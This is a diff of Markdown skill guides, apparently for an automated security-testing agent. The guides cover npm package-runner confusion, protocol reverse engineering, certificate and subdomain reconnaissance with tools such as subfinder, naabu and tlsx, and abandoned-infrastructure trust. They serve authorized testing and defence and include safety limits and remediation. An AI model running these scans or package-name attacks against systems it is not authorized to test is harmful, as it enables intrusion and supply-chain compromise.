Do not apply `npx --no` as a generic dry-run flag. Use `bunx --no-install` only for Bun's local-resolution question. `dlx` and `deno run npm:` already name a remotely resolvable package, so validate their package spec, registry, cache/lock, selected binary or subpath, and permissions using that runner's own behavior.
|
||||
|
||||
## Ownership and Registry State
|
||||
|
||||
Query the exact registry selected by the target configuration, then distinguish:
|
||||
|
||||
- intended package owned by the expected publisher
|
||||
- unrelated public package with the same name
|
||||
- unregistered name (`404` from a functioning registry)
|
||||
- private or access-controlled name (`401`/`403`)
|
||||
- transient/rate-limited/blocked lookup (`429`, `5xx`, timeout)
|
||||
- placeholder, reserved, disputed, or previously unpublished name
|
||||
|
||||
Before trusting any of those states, check whether the target's lookup path can distinguish a known existing package from a newly generated negative control. Resolve the registry from the same working directory and configuration used by the target:
|
||||
|
||||
```bash
|
||||
# Public npm example; use a known package from the actual registry when different.
|
||||
task_registry="$(npm config get registry)"
|
||||
npm view --registry="$task_registry" lodash name --json
|
||||
npm view --registry="$task_registry" "$(openssl rand -hex 12)" name --json
|
||||
```
|
||||
|
||||
Run the pair through the same `.npmrc`, scope routing, authentication, proxy, and egress path as the candidate. Direct `curl` requests to the public registry are a separate observation unless the target runner uses that exact route. A successful pair establishes coarse positive/negative discrimination, not authenticity of every candidate response; verify that returned documents name the requested package and contain plausible registry metadata.
|
||||
|
||||
If the pair fails or returns indistinguishable responses, mark the target-path registry state `UNKNOWN`. An independently verified public-registry response may characterize public state, but it does not prove what the target runner resolves. Re-confirm candidate absence before relying on it.
|
||||
|
||||
A `404` proves absence from that registry at that time; it does not by itself prove that registration would be accepted. Registry similarity, trademark, reservation, security-hold, and unpublish rules remain separate facts. Two concrete cases to check rather than infer:
|
||||
|
||||
- A registry-owned security placeholder occupies the name even when its only version is `0.0.1-security`. Do not identify one from the version alone: inspect the packument, description, dist-tags, top-level and version-level maintainers, and version publisher such as `_npmUser`.
|
||||
- npm rejects new unscoped names that collide with an existing package after `.`, `-`, and `_` are removed. Normalize both the candidate and existing names: looking up only the candidate's stripped form catches `some-tool` versus `sometool`, but misses the reverse direction when the existing package contains punctuation. Treat this as registry-policy eligibility evidence, not a guarantee that registration would otherwise succeed.
|
||||
|
||||
When a candidate name is already registered, distinguish the target's own
|
||||
organization from an unrelated party before calling it a clash. Correlate `npm owner ls <name>`, version-level publisher metadata, known target-controlled npm organizations, and independently verified repository provenance. Repository/homepage fields are self-asserted supporting evidence and do not settle ownership alone. If publisher identity remains ambiguous, mark it `UNKNOWN`.
|
||||
|
||||
## Validation and Impact
|
||||
|
||||
Demonstrate the complete resolver statement:
|
||||
|
||||
```text
|
||||
target-controlled invocation and context
|
||||
-> intended executable absent
|
||||
-> exact public package spec selected
|
||||
-> package ownership/availability state
|
||||
-> execution trigger and inherited authority
|
||||
```
|
||||
|
||||
Do not report an unregistered name without an execution path, or an execution path whose command is satisfied locally in every relevant context. Derive impact from the environment that executes the package: developer workstation, CI job, release pipeline, agent runtime, container build, or documentation-only workflow.
|
||||
|
||||
## Reporting
|
||||
|
||||
There is no CVE and no vulnerable installed version here, so this does not go through `create_dependency_report`; that tool requires an advisory-matched CVE. Use `create_vulnerability_report` only after the applicable core condition is fully verified.
|
||||
|
||||
A registry lookup or `404` alone is candidate evidence, not a working PoC. The report must preserve the target invocation and execution context, show the exact selected package and binary/module, demonstrate the runner's execution transition in a representative controlled setup without publishing the contested name, and establish the authority inherited by that process. When source is available, include the responsible invocation/configuration and concrete fix in `code_locations`.
|
||||
|
||||
Do not file documentation/comment-only references, locally satisfied commands, unregisterable names, ambiguous ownership, or chains that stop before package execution. Retain them as investigation notes only when useful.
|
||||
|
||||
Derive CVSS from the demonstrated path rather than a fixed severity label. Account for required developer/user action, registry and configuration prerequisites, runner permissions, credential availability, and the confidentiality, integrity, and availability actually exposed. A CI, release, container-build, or agent context can be severe, but the context name alone does not establish High or Critical impact.
|
||||
|
||||
Deduplicate by root cause, affected asset/workflow, and remediation. Combine call sites when the same configuration mistake and fix apply; keep separate findings when the same candidate name affects different products, tenants, runner semantics, authority, or fixes.
|
||||
|
||||
## False Positives
|
||||
|
||||
- The executable is provided by a declared dependency in every real execution context.
|
||||
- `npx --package @scope/pkg <bin>` explicitly binds the executable to the intended package.
|
||||
- A versioned package spec or scope-specific registry points to the intended publisher.
|
||||
- The public package is the deliberately selected third-party tool.
|
||||
- npm fetches the manifest but cannot infer or execute a bin.
|
||||
- The reference appears only in generated/minified text with no executable call site.
|
||||
- A registry/proxy error is misread as an unregistered name, or the target-path control pair is inconclusive.
|
||||
- A package is absent but registry policy prevents the contested registration.
|
||||
- The command resolves to the deliberately selected ecosystem tool and expected publisher.
|
||||
- The already-registered name belongs to the target's own organization.
|
||||
- An explicit `dlx` or `npm:` package spec is treated as missing-local fallback without evidence of a package/publisher mismatch.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Install the intended package and invoke its local executable through an npm script.
|
||||
- For npm, bind and pin the provider: `npx --package @org/tool@<version> org-tool`; use `--no` when a missing dependency must fail.
|
||||
- For Bun, use `bunx --package @org/tool@<version> org-tool` and `--no-install` when remote installation is not intended.
|
||||
- Replace `yarn dlx`/`pnpm dlx` in repeatable or privileged workflows with a declared, locked dependency plus the runner's local `exec` command. When ephemeral execution is required, bind and pin the provider package explicitly.
|
||||
- For Deno, pin the `npm:` package and binary subpath, retain a reviewed lockfile, use cache-only operation where appropriate, and grant only the permissions the command requires.
|
||||
- Route private scopes to the intended registry and prevent public fallback.
|
||||
- Pin package versions and lockfiles in privileged workflows.
|
||||
- Replace bare `npx -y <name>` agent launchers with reviewed, publisher-qualified, version-pinned package specs.
|
||||
|
||||
## Summary
|
||||
|
||||
Treat package-runner confusion as an identity and execution-context bug. Prove the runner-specific transition, distinguish binary names from package names, verify registry and publisher state without equating absence with eligibility, and report only a complete execution path under the affected workflow's actual authority.
|
||||
@@ -105,39 +105,6 @@ tree-sitter parse -q <file>
|
||||
|
||||
Use outputs to improve route/symbol/sink maps for subsequent targeted scans.
|
||||
|
||||
## Cross-Component Semantic Mapping
|
||||
|
||||
Pattern scanners find local sinks but often miss a security decision in one component followed by a different interpretation in another. For complex middleware, proxies, frameworks, and plugin systems:
|
||||
|
||||
1. Identify shared request/context fields and every writer/reader.
|
||||
2. Order the readers and writers by lifecycle phase: parse, route, authenticate, rewrite, authorize, dispatch, render.
|
||||
3. Mark fields whose semantic type changes (URL/path, MIME/handler, alias/package, external/internal route).
|
||||
4. Trace normal, error, retry, subrequest, and internal-redirect paths separately.
|
||||
5. Compare the representation checked by security code with the representation consumed by the final sink.
|
||||
|
||||
Load `semantic_confusion` when this graph reveals overloaded fields, multiple parsers, normalization steps, or protocol translation.
|
||||
|
||||
## Resolution and Namespace Risks
|
||||
|
||||
In repositories with developer tooling, plugins, templates, or package runners, inspect lookup order rather than only dependency versions:
|
||||
|
||||
- command runners that fall back from local binaries or `PATH` to a public registry
|
||||
- scoped/private package names exposing unscoped binary or alias names
|
||||
- plugin, template, module, and autoload search paths writable by a lower-privileged actor
|
||||
- CI/composite actions and devcontainer/bootstrap scripts that transitively execute package commands
|
||||
- missing local artifacts that silently activate a remote or broader fallback
|
||||
|
||||
Record candidate names and verify ownership/existence without claiming or publishing them. A namespace gap is reportable only when the target actually resolves or executes the attacker-contestable name under realistic conditions.
|
||||
|
||||
For npm/JavaScript, distinguish the package name from the executable name and
|
||||
model the actual working directory, dependency tree, global bin directory,
|
||||
cache, and registry configuration. `load_skill(["npx_confusion"])` when a bare
|
||||
`npx`/`npm exec` command may fall back from a missing executable to a public
|
||||
package. Trivy cannot detect this class because no installed package version
|
||||
needs to be vulnerable.
|
||||
|
||||
Load `infrastructure_lifecycle` when source, images, firmware, or history contain abandoned domains, provider resources, package namespaces, update URLs, mail identities, telemetry, or control endpoints. Use targeted string/dataflow analysis when this is the research question; the full baseline scanner bundle is not required merely to trace one endpoint consumer.
|
||||
|
||||
## Secret and Supply Chain Coverage
|
||||
|
||||
Detect hardcoded credentials:
|
||||
|
||||
@@ -1,176 +0,0 @@
|
||||
---
|
||||
name: protocol-reverse-engineering
|
||||
description: Authorized analysis of undocumented, proprietary, binary, or stateful network protocols using passive captures, client/server artifacts, explicit state machines, bounded lab harnesses, and semantic vulnerable-versus-fixed validation
|
||||
---
|
||||
|
||||
# Protocol Reverse Engineering
|
||||
|
||||
Use this skill when an exposed service cannot be tested correctly as isolated HTTP-like requests: custom RPC, binary framing, TLS-wrapped management protocols, message queues, VPN negotiation, in-band control records, or any protocol whose authentication and parsing depend on prior state.
|
||||
|
||||
The objective is a reviewable protocol model and controlled evidence that proves or disproves a security property. A socket connection, completed TLS handshake, `200`, or parser crash does not prove authentication, authorization, or code execution.
|
||||
|
||||
## Authorization and Safety Boundary
|
||||
|
||||
- Work from supplied artifacts, offline captures, or an isolated lab target unless active testing is explicitly authorized.
|
||||
- Prefer offline parsing. Captures may contain credentials, session material, personal data, or private topology; minimize, encrypt, redact, and expire them.
|
||||
- Never replay production credentials or captured authentication material.
|
||||
- Put active harnesses in a network namespace or isolated VLAN with an explicit destination allowlist, low rate, bounded retries, and one mutation at a time.
|
||||
- Do not broadcast, scan unrelated addresses, or start mutation/fuzz loops by default.
|
||||
- Treat a malformed-packet crash as a denial-of-service test. Perform it only in a restartable lab and never infer RCE from it.
|
||||
|
||||
## Build the Protocol Model
|
||||
|
||||
Record each layer separately:
|
||||
|
||||
| Layer | Questions |
|
||||
|---|---|
|
||||
| Transport | TCP, UDP, HTTP tunnel, queue, Unix socket, reconnect behavior? |
|
||||
| Security | TLS/mTLS, certificate role, message MAC/signature, encryption boundary? |
|
||||
| Framing | magic, version, type, flags, length, checksum, terminator, nesting? |
|
||||
| State | negotiation, challenge, authentication, session, command, teardown? |
|
||||
| Identity | where is peer/user/device identity introduced and verified? |
|
||||
| Authorization | which state or role permits each operation? |
|
||||
| Data model | integers, strings, TLV, XML/JSON, compression, serialization? |
|
||||
| Responses | acknowledgements, errors, correlation IDs, timing, connection close? |
|
||||
|
||||
Maintain a message-field ledger:
|
||||
|
||||
```text
|
||||
offset/path | size/type | endian/encoding | producer | consumer | validation | state | confidence
|
||||
```
|
||||
|
||||
Label every statement as observed, inferred, or experimentally confirmed. Unknown bytes remain unknown; do not name them after a single sample.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Collect Passive Evidence
|
||||
|
||||
Use, in order of preference:
|
||||
|
||||
- official protocol or integration documentation
|
||||
- offline captures of a legitimate client/server exchange
|
||||
- client binaries, SDKs, schemas, constants, error strings, and debug logs
|
||||
- server handlers, dispatch tables, configuration, and certificate logic
|
||||
- vulnerable/fixed captures or binaries from the same branch
|
||||
|
||||
Use two supplied or explicitly authorized successful sessions and controlled variations when available. Otherwise record the evidence gap; do not obtain or replay production credentials merely to complete the model. Compare message boundaries, counters, nonces, lengths, identity fields, and state-dependent responses. Keep the original capture immutable and hash it.
|
||||
|
||||
Use [TShark](https://www.wireshark.org/docs/man-pages/tshark.html) for reproducible offline extraction:
|
||||
|
||||
```bash
|
||||
tshark -r session.pcapng -q -z conv,tcp
|
||||
tshark -r session.pcapng -Y 'tcp.stream == 0' -T fields \
|
||||
-e frame.number -e tcp.seq -e tcp.len -e tcp.payload
|
||||
```
|
||||
|
||||
Prefer `-r` over live capture. Do not run Wireshark/TShark as root, capture unrelated production traffic, or assume dissector output is safe or correct; use a patched build in an isolated environment for hostile captures.
|
||||
|
||||
### 2. Reconstruct Framing Before Meaning
|
||||
|
||||
- Reassemble streams before assigning message boundaries; TCP packets are not application messages.
|
||||
- Test length hypotheses against multiple messages and both directions.
|
||||
- Identify byte order, signedness, alignment, padding, compression, and checksums.
|
||||
- Separate outer transport/tunnel framing from the inner application message.
|
||||
- For nested formats, model each parser boundary independently.
|
||||
- Reject impossible lengths before allocation, recursion, decompression, or slicing.
|
||||
|
||||
When the layout stabilizes, encode it in a declarative grammar such as [Kaitai Struct](https://kaitai.io/). Add `valid` constraints and strict size/count limits; generated parsers can still allocate or recurse dangerously on hostile lengths. Keep compiler/runtime versions aligned and regression-test the grammar on positive, truncated, oversized, and unknown-type samples.
|
||||
|
||||
### 3. Recover the State Machine
|
||||
|
||||
Write transitions explicitly:
|
||||
|
||||
```text
|
||||
DISCONNECTED -> TRANSPORT -> NEGOTIATED -> PEER_VERIFIED
|
||||
-> USER_AUTHENTICATED -> AUTHORIZED -> OPERATION
|
||||
```
|
||||
|
||||
For every transition, record:
|
||||
|
||||
- initiating message and required prior state
|
||||
- server-side check and identity source
|
||||
- success, denial, and malformed responses
|
||||
- state stored across messages or reconnects
|
||||
- timeout/replay/counter behavior
|
||||
- whether an alternate message type reaches the same handler
|
||||
|
||||
Distinguish transport establishment, peer verification, user authentication, session creation, role authorization, and successful privileged action. Prove the specific boundary relevant to the security claim.
|
||||
|
||||
### 4. Trace Fields to Decisions and Sinks
|
||||
|
||||
From binaries or source, anchor on message IDs, error strings, constants, certificate handling, dispatcher tables, and changed functions. Trace attacker-controlled fields through:
|
||||
|
||||
- length arithmetic, allocation, copy, termination, and integer conversion
|
||||
- parser state, tag nesting, recursion, and unknown-field behavior
|
||||
- identity selection, trust flags, signature/certificate verification, and session lookup
|
||||
- shell/process calls, filesystem paths, deserialization, reflection, or product-native admin operations
|
||||
|
||||
Decompiler output is a hypothesis. Confirm important conditions in assembly, bytecode, runtime logs, or controlled packet results.
|
||||
|
||||
### 5. Build a Bounded Active Harness
|
||||
|
||||
Only craft packets after valid framing and state are understood. [Scapy](https://scapy.readthedocs.io/en/stable/) is appropriate for packet layers and stateful automata:
|
||||
|
||||
```bash
|
||||
python -m pip install 'scapy==<reviewed-version>'
|
||||
```
|
||||
|
||||
Start with a local responder or replay parser, not the appliance. Preserve a known-good transcript, mutate one semantic field, recompute dependent lengths/checksums, and compare the response. The harness must enforce:
|
||||
|
||||
- exact destination/port allowlist
|
||||
- one target and one mutation by default
|
||||
- rate, packet count, response size, timeout, and retry ceilings
|
||||
- no broadcast/multicast and no automatic crash retry
|
||||
- artifact logging without credentials or secret payloads
|
||||
- cleanup and target health check after each risky case
|
||||
|
||||
Raw sockets may require privilege; isolate socket creation and drop privileges afterward where possible.
|
||||
|
||||
### 6. Design Semantic Experiments
|
||||
|
||||
Prefer experiments that answer one question:
|
||||
|
||||
- Does an invalid identity or signature reach the authorized state?
|
||||
- Does a declared length govern copying, parsing, or only framing?
|
||||
- Do duplicate/unknown fields change the selected handler?
|
||||
- Does patched behavior add validation, change state, or block an outer route?
|
||||
- Does a response prove the operation, or merely that dispatch began?
|
||||
|
||||
Use vulnerable, fixed, and malformed-negative controls. Repeat enough to separate deterministic semantics from loss, retransmission, process restart, load balancing, and timeout noise.
|
||||
|
||||
## Safe Oracles
|
||||
|
||||
Prefer, from least to most invasive:
|
||||
|
||||
1. distinctive protocol/version field
|
||||
2. deterministic denial-versus-accept response
|
||||
3. synthetic-account no-op or non-secret lab read
|
||||
4. unique constant callback through explicitly authorized, preferably self-hosted OAST
|
||||
5. inert canary write with cleanup
|
||||
6. process execution only under separate explicit authorization when no lower-harm oracle can establish the required impact
|
||||
|
||||
A connection close is normally an ambiguous result. If crash validation is unavoidable, combine lab-only process logs, restart evidence, and a non-triggering control; report bug existence separately from exploitability.
|
||||
|
||||
When the starting point is an advisory, fixed build, patch, or public PoC, pair this skill with `advisory_to_poc` for evidence classification, artifact comparison, and partial-fix review.
|
||||
|
||||
## Patch and Version Differentials
|
||||
|
||||
- Compare message/state behavior across the closest vulnerable and fixed builds of the same branch.
|
||||
- Derive a fingerprint from the restored invariant, not only from banners.
|
||||
- Check configuration, certificate role, feature enablement, architecture, and deployment mode.
|
||||
- Treat protocol differences as version evidence unless they directly prove vulnerable behavior.
|
||||
- When one handler is patched, enumerate sibling message types, alternate transports, and pre-auth dispatch paths using the same parser or decision.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. target versions, platform, configuration, and artifact/capture hashes
|
||||
2. layered protocol diagram and message-field ledger
|
||||
3. explicit state machine and identity/authentication/authorization boundaries
|
||||
4. source/binary trace for the relevant field and decision
|
||||
5. bounded harness with rate/destination safeguards
|
||||
6. vulnerable, fixed, and negative-control results
|
||||
7. minimum safe oracle and any side effects/cleanup
|
||||
8. unresolved fields, assumptions, and confidence levels
|
||||
9. bug-existence versus exploitability assessment
|
||||
@@ -54,17 +54,18 @@ CT logs record nearly every publicly-trusted certificate. Query by domain (match
|
||||
|
||||
## Recommended Tooling
|
||||
|
||||
These tools are available in the sandbox and are pipeline-friendly with JSON output:
|
||||
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
|
||||
|
||||
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
|
||||
- **`httpx`** — live probing plus cert/SAN grab in one pass: `httpx -l hosts.txt -tls-grab -json` (see methodology).
|
||||
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
|
||||
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
|
||||
- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
|
||||
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
|
||||
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
|
||||
- **`httpx`** — live probing + cert grab in one pass (see methodology).
|
||||
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
|
||||
- **`curl` + `jq`** — direct **crt.sh** JSON queries for CT (no key needed) and other index APIs.
|
||||
- **`openssl s_client`** — active read of a live host's cert to extract SANs/CN.
|
||||
- **`dig`** / **`nslookup`** — forward/reverse (PTR) resolution and CNAME chains.
|
||||
- **`whois`** — ASN/netblock lookups (e.g. `whois -h whois.cymru.com`).
|
||||
|
||||
Cross-source results — CT + passive DNS + `subfinder` together beat any single source. If you need a tool that is not installed, install it into the sandbox at runtime.
|
||||
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
|
||||
|
||||
## Key Techniques
|
||||
|
||||
@@ -74,7 +75,7 @@ Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loo
|
||||
|
||||
### Cert-Fingerprint Pivoting
|
||||
|
||||
Search Censys/Shodan by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
|
||||
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
|
||||
|
||||
### Naming-Convention Inference
|
||||
|
||||
@@ -82,11 +83,11 @@ Wildcard SANs and observed hostnames expose the org's naming scheme; generate ta
|
||||
|
||||
### IP-First Discovery
|
||||
|
||||
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`httpx -tls-grab`, or `openssl s_client`) to find services that have no DNS name at all.
|
||||
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
- **Active SAN harvesting** across whole ranges with `httpx -tls-grab` (or `openssl s_client`) recovers internal hostnames never logged to public CT.
|
||||
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
|
||||
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
|
||||
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
|
||||
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
|
||||
@@ -107,11 +108,11 @@ For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served ce
|
||||
## Testing Methodology
|
||||
|
||||
1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
|
||||
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, Censys/Shodan)
|
||||
3. **SAN/CN extraction** - parse every Subject CN and SAN with `httpx -tls-grab` (or `openssl s_client`); each new name is a new seed
|
||||
4. **Passive DNS** - resolve forward and reverse with `dig`; harvest historical records
|
||||
5. **ASN/IP mapping** - `whois` the netblock/ASN to expand owned ranges, then sweep for live hosts
|
||||
6. **Active TLS pivot** - `httpx -tls-grab` on live IPs/ports to grab SANs missing from public CT
|
||||
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
|
||||
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
|
||||
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
|
||||
5. **ASN/IP mapping** - `asnmap` → `mapcidr` to expand owned ranges, then sweep for live hosts
|
||||
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
|
||||
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
|
||||
|
||||
## Validation
|
||||
@@ -138,13 +139,13 @@ For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served ce
|
||||
## Pro Tips
|
||||
|
||||
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
|
||||
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan add cert-fingerprint and vhost pivoting when keys exist.
|
||||
3. Always cert-grab live hosts with `httpx -tls-grab` (or `openssl s_client`) — active SANs catch internal hostnames never sent to public CT.
|
||||
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
|
||||
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
|
||||
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
|
||||
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
|
||||
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
|
||||
7. Keep JSON output throughout so stages chain cleanly (`subfinder` → `dig` → `httpx` → `naabu`).
|
||||
7. Keep JSON output throughout so stages chain cleanly (`subfinder` → `dnsx` → `httpx` → `naabu`).
|
||||
|
||||
## Summary
|
||||
|
||||
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with `subfinder`, `httpx`, `naabu`, and CT/DNS/cert queries, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
|
||||
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
|
||||
|
||||
@@ -1,227 +0,0 @@
|
||||
---
|
||||
name: infrastructure-lifecycle
|
||||
description: Discovery and security analysis of abandoned or ownership-drifted infrastructure trusted by software, firmware, DNS, mail, update systems, packages, scripts, telemetry, and deployed agents
|
||||
---
|
||||
|
||||
# Infrastructure Lifecycle Trust
|
||||
|
||||
Use this skill when a product, application, device, image, or organization continues to trust an external name or provider resource whose ownership can expire, be deleted, be reassigned, or move outside the intended organization.
|
||||
|
||||
This is broader than subdomain takeover. The vulnerable asset may make outbound requests to a retired update bucket, load JavaScript from an abandoned domain, send mail to an expired MX domain, query a reassigned WHOIS/RDAP server, install from a missing package namespace, or beacon to an embedded telemetry/control endpoint. The security property is continuity of ownership across the full lifetime of every trust consumer.
|
||||
|
||||
## Trust-Consumer Graph
|
||||
|
||||
Model each dependency:
|
||||
|
||||
```text
|
||||
consumer/version/deployment
|
||||
-> embedded logical name or URL
|
||||
-> DNS/provider/package resolution chain
|
||||
-> current owner/controller
|
||||
-> content/protocol accepted
|
||||
-> privilege and trigger in the consumer
|
||||
```
|
||||
|
||||
Record separately:
|
||||
|
||||
- where the reference is stored: source, binary, firmware, image layer, config, database, IaC, documentation, update metadata
|
||||
- deployed versions and whether the consumer still runs
|
||||
- endpoint type, resolution chain, TLS/signature/authentication requirements, and fallback order
|
||||
- current registration/provider ownership and historical ownership
|
||||
- request trigger, frequency, payload/data sent, and response/content interpretation
|
||||
- consumer privilege: browser origin, installer/root, CI runner, mail receiver, parser, agent, or telemetry process
|
||||
- decommission owner, renewal/update process, and monitoring coverage
|
||||
|
||||
A domain or bucket being available is only half the finding. Show that a live in-scope consumer still trusts it and what that consumer would accept.
|
||||
|
||||
## Control and Claimability Levels
|
||||
|
||||
Do not collapse these into one claim:
|
||||
|
||||
| Level | Evidence |
|
||||
|---|---|
|
||||
| Indicator | NXDOMAIN, expired registration, provider tombstone, missing package/resource |
|
||||
| Authoritative availability | Registrar/provider/package authority confirms the exact name/resource can be acquired or bound |
|
||||
| Acquisition/control | Authorized tester controls the registrable domain, resource, namespace, or provider binding |
|
||||
| Protocol identity | Required DNS, custom-host binding, TLS certificate, authentication, or protocol handshake succeeds |
|
||||
| Consumer acceptance | A live in-scope consumer contacts the controlled endpoint and accepts the relevant response semantics |
|
||||
|
||||
Record the highest proven level for every consumer. Before acquisition or provider binding, determine whether control can immediately receive existing third-party traffic and apply the Passive Sensor and Sinkhole plan below.
|
||||
|
||||
## High-Value Dependency Classes
|
||||
|
||||
### Update and Code Distribution
|
||||
|
||||
- firmware/software update URLs, manifests, package indexes, installers, drivers, VM/container images
|
||||
- CDN/object-storage buckets serving binaries, scripts, templates, rules, signatures, or configuration
|
||||
- browser JavaScript/CSS imports and desktop/mobile auto-update channels
|
||||
- bootstrap, CI, devcontainer, build, and installation scripts
|
||||
- model/agent skill, plugin, prompt, MCP server, and tool-definition update channels
|
||||
|
||||
Record signature, hash, certificate, pinning, version/rollback, and content-type enforcement. TLS alone authenticates the current domain controller, not continuity with the original publisher.
|
||||
|
||||
### Naming and Package Resolution
|
||||
|
||||
- missing public/private package names, scoped package versus executable alias, plugin/module/template namespaces
|
||||
- `PATH`, autoload, search path, registry, cache, mirror, and remote fallback order
|
||||
- provider-generated hostnames or globally unique resource names released on deletion
|
||||
- legacy aliases retained in manifests, lockfiles, scripts, or installed products
|
||||
|
||||
Do not register or publish candidate names merely to test them without explicit authorization and a containment plan. Prove the consumer's resolution behavior first.
|
||||
|
||||
Registry "missing" responses are not interchangeable with "claimable".
|
||||
Similarity, reservation, security-hold, dispute, and unpublish rules can block
|
||||
a name that returns `404`; verify ownership and registry policy separately.
|
||||
Load `npx_confusion` when the consumer first treats a missing executable as an
|
||||
npm package spec. Model other ecosystems independently rather than assuming
|
||||
npm's resolution order applies to them.
|
||||
|
||||
### Mail and Identity
|
||||
|
||||
- expired organizational, supplier, recovery, notification, or former employee domains
|
||||
- MX targets and catch-all aliases that remain in applications, address books, SSO, password recovery, certificates, or vendor accounts
|
||||
- OAuth redirect/logout URIs, SAML endpoints, webhook callbacks, CORS/CSP allowlists, and trusted-origin lists tied to retired hosts
|
||||
- domain-based tenant verification and support/administrative identity flows
|
||||
|
||||
Differentiate ability to receive a tester-created message from interception of real correspondence. Do not access unrelated mail or use received secrets/credentials.
|
||||
|
||||
### Telemetry, Control, and Protocol Infrastructure
|
||||
|
||||
- crash reporting, analytics, licensing, activation, NTP/DNS, support, and health-check endpoints
|
||||
- hardcoded agent/controller, webshell/C2, webhook, exfiltration, or callback domains embedded in deployed systems
|
||||
- hardcoded retired WHOIS/RDAP endpoints, certificate validation services, keyservers, mirrors, proxies, and service-discovery dependencies
|
||||
- local/remote management domains in appliances, mobile apps, extensions, and container images
|
||||
|
||||
Treat unexpected inbound traffic as potentially sensitive. Passive receipt does not authorize interaction, command issuance, credential use, or expansion beyond the approved sensor purpose.
|
||||
|
||||
## Discovery
|
||||
|
||||
### Source, Image, and Firmware Corpus
|
||||
|
||||
Extract hostnames, URLs, email domains, bucket names, package names, registry endpoints, and certificate subjects from:
|
||||
|
||||
- source and history, lockfiles, CI/IaC, release assets, SBOMs
|
||||
- container/VM layers including deleted-file history
|
||||
- firmware rootfs, strings/resources, scripts, configs, examples, and updater logic
|
||||
- JavaScript/mobile/desktop bundles, extensions, templates, and documentation
|
||||
- logs and network captures from controlled normal operation
|
||||
|
||||
Use staged extraction rather than relying on one broad regex:
|
||||
|
||||
```bash
|
||||
# URLs and email addresses
|
||||
rg -n -i 'https?://|wss?://|s3[.-]|blob\.core\.|[A-Z0-9._%+-]+@[A-Z0-9.-]+' extracted/
|
||||
|
||||
# Then query format-aware config keys, DNS/MX data, certificate metadata,
|
||||
# package manifests, and binary strings for bare hostnames/namespaces.
|
||||
```
|
||||
|
||||
Review bare-hostname candidates for prose, source-map, test, and generated-data false positives. Deduplicate content-addressed layers and repeated vendor boilerplate so prevalence is not inflated. Preserve the source file, artifact hash, version, and surrounding semantic context for every candidate.
|
||||
|
||||
### Ownership and Resolution History
|
||||
|
||||
- Resolve A/AAAA/CNAME/NS/MX/TXT/CAA and retain complete chains.
|
||||
- Check current registrar/provider resource state through authoritative sources, including custom-domain binding and reservation rules.
|
||||
- Use historical DNS, CT, WHOIS/RDAP, package metadata, source history, and release timelines to establish ownership drift.
|
||||
- Identify wildcard/catch-all responses, parked domains, provider tombstones, and reused cloud IPs that mimic availability.
|
||||
